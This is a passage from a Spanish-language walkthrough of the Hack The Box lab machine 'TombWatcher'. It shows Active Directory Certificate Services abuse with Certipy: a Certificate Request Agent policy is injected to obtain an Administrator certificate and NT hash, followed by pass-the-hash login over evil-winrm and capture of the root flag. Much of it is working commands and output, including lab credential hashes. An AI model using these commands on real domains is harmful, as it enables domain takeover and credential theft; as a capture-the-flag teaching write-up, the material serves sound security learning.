, notaremos que en la plantilla se ve el SID asignado. Es posible que no restablezcamos la cuentacert_admin
que cumple con esto, por lo que debemos eliminar el usuario y volver a reestablecerlo.
# Eliminar el usuario restablecido que no cumple
Remove-ADUser -Identity "cert_admin" -Confirm:$false
# Volvemos a reestablecer el objeto correcto
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Exploiting
Podremos utilizar el escenario B
, que implica obtener un certificado de “Agente”, convirtiendo a la cuenta cert_admin
en un agente de inscripción, seguido de un certificado para un usuario con privilegios, como Administrator
.
Comenzaremos solicitando un certificado para el usuario Administrator
utilizando la plantilla WebServer
e inyectando una extensión Application Policies
que contiene el OID de Certificate Request Agent
certipy req -u 'cert_admin@tombwatcher.htb' -hashes :dceb50ac4ab6609ebcefa230760477db -dc-ip 10.10.11.72 -target DC01.tombwatcher.htb -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'Administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Utilizaremos el certificado generado para solicitar un nuevo certificado en nombre del usuario Administrator
. Esto es posible debido a la extensión Application Policies
con el valor de Certificate Request Agent
certipy req -u 'cert_admin@tombwatcher.htb' -hashes :dceb50ac4ab6609ebcefa230760477db -dc-ip 10.10.11.72 -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx administrator.pfx -on-behalf-of 'tombwatcher\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 11
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Sincronizaremos nuestro reloj con el DC (necesario para una autenticación kerberos
) y utilizaremos el certificado generado para autenticarnos en el dominio. La CA tomará el SAN, que apunta al usuario Administrator
, y obtendremos sus credenciales
ntpdate 10.10.11.72 && certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
2025-10-11 16:54:45.277328 (-0400) +0.198750 +/- 0.193355 10.10.11.72 s1 no-leap
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61...
Root Time
Ya que tenemos tanto credenciales en caché como el hash NTLM del usuario Administrator
, simplemente podremos conectarnos vía WinRM
haciendo PassTheHash
evil-winrm-py -i DC01.tombwatcher.htb -u 'Administrator' -H 'f61...'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.tombwatcher.htb:5985 as Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator
Ya podremos ver la última flag ubicada en el escritorio del usuario Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
788...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Man cannot discover new oceans unless he has the courage to lose sight of the shore. — André Gide